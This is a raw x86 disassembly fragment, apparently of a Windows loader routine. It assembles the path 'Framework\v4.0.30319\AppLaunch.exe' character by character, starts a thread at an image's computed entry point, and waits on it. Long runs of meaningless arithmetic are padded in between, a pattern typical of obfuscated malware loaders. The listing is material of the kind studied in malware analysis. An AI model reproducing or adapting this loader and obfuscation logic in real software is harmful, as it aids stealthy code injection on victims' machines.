mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40c5be
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401230
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
dec esi
rcl eax, 0xa4
mov edi, 0xae
rcr eax, 0x1c
mov eax, 0x63
and ebx, 0xed
neg eax
neg ebx
inc edi
not edi
add edi, 0xac
sub edx, 0x13
imul edx
dec esi
add esi, 0x53
rol esi, 0xa9
ror eax, 0xa8
bswap eax
imul edi
dec eax
mov esi, 0xb4
dec eax
inc ebx
rol esi, 5
rcr ebx, 0x38
sbb edx, 0x9f
inc esi
rcl eax, 0x25
imul edi
bswap edi
rcl esi, 0x9f
ror esi, 0x45
imul esi
dec edi
ror esi, 0xfc
inc edx
dec esi
rol ebx, 0x2f
sbb edx, 0x48
dec ebx
imul eax
imul edx
inc ebx
ror eax, 0xb3
rol edi, 0x94
rcr eax, 0x2e
inc ebx
sub eax, 0xc9
sub edi, 0xe4
neg edi
rcl eax, 0xb7
inc ebx
dec ebx
sub edi, 0x90
neg ebx
bswap edx
sbb esi, 0xc8
inc edx
bswap edx
or edi, 0x33
dec edi
and esi, 0xab
sub esi, 0x60
sbb ebx, 0x9c
inc edi
or esi, 0x33
and eax, 0x3f
inc edi
and ebx, 0xb0
dec eax
add edx, 0xc
and esi, 0xca
rcr edi, 0x41
sbb eax, 0xb5
inc eax
bswap edx
neg edx
ror esi, 0xfe
bswap ebx
and eax, 0xa1
rol esi, 0
and ebx, 0x83
bswap eax
ror edx, 0xf8
mov ebx, 0x17
neg esi
or eax, 0xed
bswap eax
imul esi
add edx, 0x63
neg edi
ror edx, 0xf6
neg edx
neg edx
rcr edx, 0x92
not esi
sbb edi, 0xa3
imul eax
neg ebx
neg eax
rcr ebx, 0x91
inc ebx
or ebx, 0x47
dec ebx
rcl edi, 0xcc
or edi, 0x6e
imul ebx
ror eax, 0xed
sub eax, 0xbb
inc esi
not edi
ror eax, 0xa1
add eax, 0x1a
dec ebx
dec esi
rcr edx, 0x97
not esi
mov ebx, 0x74
dec eax
sbb edi, 0xf5
dec eax
rcl esi, 0x2e
add esi, 0x47
and edx, 0xf6
imul esi
imul eax
rcr ebx, 0x19
mov esi, 0x5f
bswap eax
not esi
mov edi, 0x97
rcl edx, 0x99
imul ebx
sbb ebx, 0x32
rcr ebx, 0x4a
neg edx
not edx
dec edx
sbb esi, 0xc3
rcl eax, 0xa6
and eax, 0xbe
dec ebx
bswap edi
sub ebx, 0x64
bswap edi
mov eax, 0x20
dec edx
not esi
rol ebx, 0xe3
rcr esi, 0xd5
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x40c7b2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401230
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sbb esi, 0x5b
rol eax, 0xe
sub edi, 0xc2
not esi
add esi, 0x4b
rol eax, 0x7f
bswap esi
neg eax
neg ebx
not esi
sub edx, 0xb3
dec eax
neg edx
ror eax, 0x6e
ror edx, 0xa3
not edi
imul ebx
rol edi, 0x1b
and esi, 0x21
or edx, 0x75
imul ebx
rcr edi, 0xaf
dec esi
add esi, 0xd3
inc esi
inc edx
inc edi
inc eax
sbb edx, 0xf1
not esi
sbb eax, 0x22
and esi, 0xf7
not esi
not eax
not esi
dec edi
mov ebx, 0x39
sub esi, 0x10
inc esi
dec edx
inc edi
inc ebx
neg ebx
rcr edi, 0xf
bswap ebx
not ebx
mov edx, 0x68
neg esi
mov edx, 0x74
mov edx, 0xb0
dec eax
ror esi, 0x7e
imul edi
sbb ebx, 0x7a
or ebx, 0xb9
not eax
inc esi
sub esi, 0xa8
neg edx
neg eax
rol edi, 0x30
ror esi, 0x73
sbb esi, 0x30
sub ebx, 0x26
imul esi
inc edx
imul edi
ror ebx, 0x9b
sub esi, 0xfe
not ebx
ror edx, 0xdb
bswap edx
rol eax, 0xa3
sbb ebx, 0x3e
neg edx
add edi, 0xdb
inc eax
not edi
neg edx
sub ebx, 0x31
not eax
bswap edi
inc eax
mov eax, 0xb3
and edi, 0xd8
sub eax, 0x2f
or ebx, 0x74
sbb eax, 0x8d
not edx
and eax, 0xff
sbb eax, 0x9a
rcl edx, 0x2c
sub edi, 0xa
neg esi
ror esi, 0x26
inc edi
sub ebx, 0xb
bswap edi
imul ebx
ror esi, 0xf1
mov esi, 0x60
dec edi
dec esi
bswap ebx
and ebx, 0xbe
rol edx, 0xfa
rcl edx, 0xaf
mov eax, 0x91
or esi, 0x30
not ebx
imul eax
add edx, 0x60
add esi, 0x72
inc ebx
not edi
and eax, 0xf4
add eax, 0x7c
or eax, 0xb2
add ebx, 0x50
inc edi
neg edx
rcl edx, 0x82
inc edx
imul edx
add esi, 0x99
and esi, 0x32
imul edx
bswap esi
sbb ebx, 0xa9
add edi, 0xa1
or ebx, 0x7c
ror edi, 0xf7
or edi, 0xdf
imul edi
ror esi, 0x53
imul eax
sub eax, 0x28
and eax, 0xd6
and edx, 0xe5
sbb esi, 0x3d
neg eax
or esi, 0xdc
rcr edi, 0xbe
and eax, 0x4d
and edx, 0x55
not edi
rcr ebx, 0x3d
inc ebx
dec eax
neg edi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret